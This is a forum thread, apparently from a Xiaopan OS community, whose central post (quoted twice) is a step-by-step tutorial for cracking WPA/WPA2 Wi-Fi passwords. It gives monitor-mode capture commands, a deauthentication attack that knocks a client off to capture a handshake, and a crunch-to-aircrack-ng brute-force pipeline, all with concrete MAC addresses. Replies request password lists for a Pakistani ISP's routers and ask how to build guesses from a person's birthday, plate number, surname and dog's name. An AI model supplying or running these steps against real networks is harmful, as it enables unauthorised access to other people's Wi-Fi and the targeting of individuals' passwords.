Crunch & Aircrack-ng to Avoid Wordlists

mavaaaaa · 16 Jan 2014

I was meaning that no matter when the cracker gonna find the pass right ? I dont know anything about this USING GPU so if you want and have time to tell me do it thanks !

meknb · 16 Jan 2014

mavaaaaa said: ↑

I was meaning that no matter when the cracker gonna find the pass right ?
Click to expand...

As long as it's the right number letter combo, yes the right pass will be found.
Using gpu "graphics card" graphics cards can compute numbers and letters quicker than cpu, so gpu is a lot quicker

Aby$m · 16 Jan 2014

mavaaaaa said: ↑

I dont know anything about this USING GPU
Click to expand...

I have a guide on how to use Hashcat-plus in Win 7.

~Aby$m.

mavaaaaa · 16 Jan 2014

God Bless you ! ! !

kerrynormo · 27 Jan 2014

mrmanuelmtz said: ↑
Well, this post is because I am tired of these dictionary files that are constantly increasing in size, to the point where they cease to be portable, so instead of buy a higher capacity USB memory. I decided to do some research and I think this is a great option to use as a last resort as this is a brute force method.

so as the post says. the programs to use are the aircrack-ng suite and crunch

That said... :dance

first we put our wireless card on monitor mode: (open Root Shell Window)
Code:
Select All
airmon-ng start wlan0
airodump-ng mon0, (or ath1, or ...)
View attachment 352

the card will start listen to networks, wait 'till your essid appear which has to be WPA or WPA2 encoded

View attachment 353

mine is INFINITUMCBA277 so select yours

now that you have the MAC address and the ch#
Code:
Select All
airodump-ng -c CH# --bssid 'YOURMACADDRESS' -w ESSID mon0
it should look like this:
Code:
Select All
airodump-ng -c 6 --bssid 58:98:35:CB:A2:77 -w INFINITUMCBA277 mon0
View attachment 354

so now we wait forever for a handshake or we can deauthenticate a client to obtain a handshake

in order to do that we must have the MAC of the client:
Code:
Select All
aireplay-ng -0 10 -a 'YOURMACADDRESS' -c 'CLIENTSMACADDRESS' mon0
it should look like this:
Code:
Select All
aireplay-ng -0 10 -a 58:98:35:CB:A2:77 -c 70: D4:F2:91:AE:67 mon0
View attachment 355

once the user is deauthenticated and reconnect we'll obtain the handshake

if the command didn't work, well... try again (if after u did the deauthenticate command noting seems to happend... maybe you are too far from the client 'cause this command goes directly to the client's connection.)

you will see something like: WPA handshake 58:98:35:CB:A2:77

View attachment 356

so now we use crunch

we wil use the *.cap file were the handshake was saved

View attachment 357

usually in Xiaopan OS is in /home/tc/

so the syntaxis is:
Code:
Select All
crunch 8 8 0123456789 | aircrack-ng -a 2 'HOME-TC-FILE-CAP' -e 'ESSID' -b 'HANDSHAKE' -w -
it should look like this:
Code:
Select All
crunch 8 8 0123456789 | aircrack-ng -a 2 /home/tc/INFINITUMCBA277-02.cap -e INFINITUMCBA277 -b 58:98:35:CB:A2:77 -w -
View attachment 358
Then you just have to wait for crunch and aircrack-ng to verify each combination.

i highlight the last command because i want to explain it so you can adapt the program to your needs:
Code:
Select All
crunch 8 8 0123456789 | aircrack-ng -a 2 /home/tc/INFINITUMCBA277-02.cap -e INFINITUMCBA277 -b 58:98:35:CB:A2:77 -w -
So we start with the first instruction: crunch is the wordlist generator crunch 8 8

crunch 8 8

Second: the '8 8' is for the length of the word in characters, the first '8' indicates starting length and the second '8' the ending length. So if you want to test your security with 16 characters password you can change to '16 16,' or '8 16.'

crunch 8 8 0123456789

Third: '0123456789' this is the list of characters to include in the wordlist for a numeric password. note: 75 % of users use numeric passwords. but you can also try something like: '01234567890abcdefghijklf' by using an alphanumeric wordlist the time will increase as this is a brute force method.

0123456789 | aircrack-ng

Fourth: this symbol is very important --> | <-- as it indicates the end of instructions for crunch and the new instructions for aircrack-ng.

Last but not least: the place were the .cap file is has to be accurate :idea

Well there's a lot of program that do things like this, i just like it better to do it by myself . Well this is it, let me know if you find this post useful :dance
Click to expand...
Thank you

hmizou10 · 11 Feb 2014

new passwordlist Russian !

Exercices et sujets corrig

jp llamas · 28 Mar 2014

I like this method as well, I have a separate CPU set up in the guest room that does nothing but run cracking and yes the Dictionary and Tables for Hashes were getting out of hand for it not having a whole lot of disk space.. Though it does take forever but I just SET IT AND FORGET IT>>>:wegotabadass: lol frees up my main PC for collecting another handshake.

I D 4139 · 21 Jun 2014

Good suggestion epitomize. I am also quite confused by so many commands and comments...

aetos · 6 Jul 2014

tnks

Lawbringer · 16 Oct 2014

My root window won't let me type │< (alt+179) only lets me type | < (shift+ forward slash) which is the wrong symbol. Any way to get it to work properly?

raza9211 · 6 Dec 2014

hey !can any one link me a password list?please for Ptcl(Pakistan telecommunication) router?

Wadixman · 31 Dec 2014

What CPU do you have , I tried this and i Got 180 Ks\s

Ljoslin1978 · 16 Jan 2015

So I got an error...

Failed. next try with 5000 IVs

Got anything?

anu · 22 Jan 2015

estimacamry said: ↑
once you have the handshake, open up a terminal and pipe crunch to aircrack-ng
Code:
Select All
crunch <min-len> <max-len> <charset> -u | aircrack-ng <path to cap file> -e <ESSID> -w-
Click to expand...
Bro

I just go through your replies here..it's so helpful

Could you please tell me where can i find that *.lst file after using crunch command, I used this command on my terminal

crunch 10 10 0123456789 -o password.lst

ecrudragon · 22 Jan 2015

anu said: ↑

where can i find that *.lst file
Click to expand...

Which OS are you using? Mostly you can find the list in crunch directory.

anu · 22 Jan 2015

ecrudragon said: ↑

Which OS are you using? Mostly you can find the list in crunch directory.
Click to expand...

I am using xiopan booted with USB and could you please tell me where is that folder located.. ??

meknb · 23 Jan 2015

anu said: ↑

Could you please tell me where can i find that *.lst file after using crunch command, I used this command on my terminal
Click to expand...

In the current directory you launched the command from,type
Code:
Select All
pwd
in the terminal to find the path.
Type
Code:
Select All
ls
to list the files in current folder.

Sofia Amethy · 28 Jun 2015

mrmanuelmtz said: ↑

aireplay-ng -0 10 -a 'YOURMACADDRESS' -c 'CLIENTSMACADDRESS' mon0
Click to expand...

Just a noob question. How can I get CLIENTSMACADDRESS if I'm running it on a virtual machine (vmware to be exact)? Hoping that someone can help me out with this. Thanks in advance.

Mr. Penguin · 10 Jan 2016

Crunch GUI Windows version for anyone who needs it. https://xiaopan.co/forums/threads/bs-crunch.3914/ Haven't used it myself.

mampwamp · 29 Jul 2016

mrmanuelmtz said: ↑
Well, this post is because I am tired of these dictionary files that are constantly increasing in size, to the point where they cease to be portable, so instead of buy a higher capacity USB memory. I decided to do some research and I think this is a great option to use as a last resort as this is a brute force method.

so as the post says. the programs to use are the aircrack-ng suite and crunch

That said... :dance

first we put our wireless card on monitor mode: (open Root Shell Window)
Code:
Select All
airmon-ng start wlan0
airodump-ng mon0, (or ath1, or ...)
View attachment 352

the card will start listen to networks, wait 'till your essid appear which has to be WPA or WPA2 encoded

View attachment 353

mine is INFINITUMCBA277 so select yours

now that you have the MAC address and the ch#
Code:
Select All
airodump-ng -c CH# --bssid 'YOURMACADDRESS' -w ESSID mon0
it should look like this:
Code:
Select All
airodump-ng -c 6 --bssid 58:98:35:CB:A2:77 -w INFINITUMCBA277 mon0
View attachment 354

so now we wait forever for a handshake or we can deauthenticate a client to obtain a handshake

in order to do that we must have the MAC of the client:
Code:
Select All
aireplay-ng -0 10 -a 'YOURMACADDRESS' -c 'CLIENTSMACADDRESS' mon0
it should look like this:
Code:
Select All
aireplay-ng -0 10 -a 58:98:35:CB:A2:77 -c 70: D4:F2:91:AE:67 mon0
View attachment 355

once the user is deauthenticated and reconnect we'll obtain the handshake

if the command didn't work, well... try again (if after u did the deauthenticate command noting seems to happend... maybe you are too far from the client 'cause this command goes directly to the client's connection.)

you will see something like: WPA handshake 58:98:35:CB:A2:77

View attachment 356

so now we use crunch

we wil use the *.cap file were the handshake was saved

View attachment 357

usually in Xiaopan OS is in /home/tc/

so the syntaxis is:
Code:
Select All
crunch 8 8 0123456789 | aircrack-ng -a 2 'HOME-TC-FILE-CAP' -e 'ESSID' -b 'HANDSHAKE' -w -
it should look like this:
Code:
Select All
crunch 8 8 0123456789 | aircrack-ng -a 2 /home/tc/INFINITUMCBA277-02.cap -e INFINITUMCBA277 -b 58:98:35:CB:A2:77 -w -
View attachment 358
Then you just have to wait for crunch and aircrack-ng to verify each combination.

i highlight the last command because i want to explain it so you can adapt the program to your needs:
Code:
Select All
crunch 8 8 0123456789 | aircrack-ng -a 2 /home/tc/INFINITUMCBA277-02.cap -e INFINITUMCBA277 -b 58:98:35:CB:A2:77 -w -
So we start with the first instruction: crunch is the wordlist generator crunch 8 8

crunch 8 8

Second: the '8 8' is for the length of the word in characters, the first '8' indicates starting length and the second '8' the ending length. So if you want to test your security with 16 characters password you can change to '16 16,' or '8 16.'

crunch 8 8 0123456789

Third: '0123456789' this is the list of characters to include in the wordlist for a numeric password. note: 75 % of users use numeric passwords. but you can also try something like: '01234567890abcdefghijklf' by using an alphanumeric wordlist the time will increase as this is a brute force method.

0123456789 | aircrack-ng

Fourth: this symbol is very important --> | <-- as it indicates the end of instructions for crunch and the new instructions for aircrack-ng.

Last but not least: the place were the .cap file is has to be accurate :idea

Well there's a lot of program that do things like this, i just like it better to do it by myself . Well this is it, let me know if you find this post useful :dance
Click to expand...
crunch 8 8 0123456789 | aircrack-ng -a 2 'HOME-TC-FILE-CAP' -e 'ESSID' -b 'HANDSHAKE' -w -

How do I make a 10 digits passwords that combination of birthday year (96), car plate number (9887), sure name (ting) ,dog name (lucky) and some other numbers.
Example combination of passwords,
9887tingab
lucky12396
tinglucky88

crunch 10 10 96 9887 ting lucky 0123456789 | aircrack-ng -a 2 'HOME-TC-FILE-CAP' -e 'ESSID' -b 'HANDSHAKE' -w -

Crunch & Aircrack-ng to Avoid Wordlists

mavaaaaa New Member

meknb Mod
Moderator Dev Team VIP

Aby$m Well-Known Member
Dev Team VIP

mavaaaaa New Member

kerrynormo Active Member

hmizou10 Member

jp llamas Member

I D 4139 Active Member

aetos Active Member

Lawbringer Active Member

raza9211 Member

Wadixman Active Member

Ljoslin1978 New Member

anu Active Member

ecrudragon Legendary ^_^
VIP

anu Active Member

meknb Mod
Moderator Dev Team VIP

Sofia Amethy Member

Mr. Penguin Administrator
Staff Member VIP Admin

mampwamp Active Member

Share This Page

About Us

Crunch & Aircrack-ng to Avoid Wordlists

mavaaaaa New Member

meknb Mod Moderator Dev Team VIP

Aby$m Well-Known Member Dev Team VIP

mavaaaaa New Member

kerrynormo Active Member

hmizou10 Member

jp llamas Member

I D 4139 Active Member

aetos Active Member

Lawbringer Active Member

raza9211 Member

Wadixman Active Member

Ljoslin1978 New Member

anu Active Member

ecrudragon Legendary ^_^ VIP

anu Active Member

meknb Mod Moderator Dev Team VIP

Sofia Amethy Member

Mr. Penguin Administrator Staff Member VIP Admin

mampwamp Active Member

Share This Page

meknb Mod
Moderator Dev Team VIP

Aby$m Well-Known Member
Dev Team VIP

ecrudragon Legendary ^_^
VIP

meknb Mod
Moderator Dev Team VIP

Mr. Penguin Administrator
Staff Member VIP Admin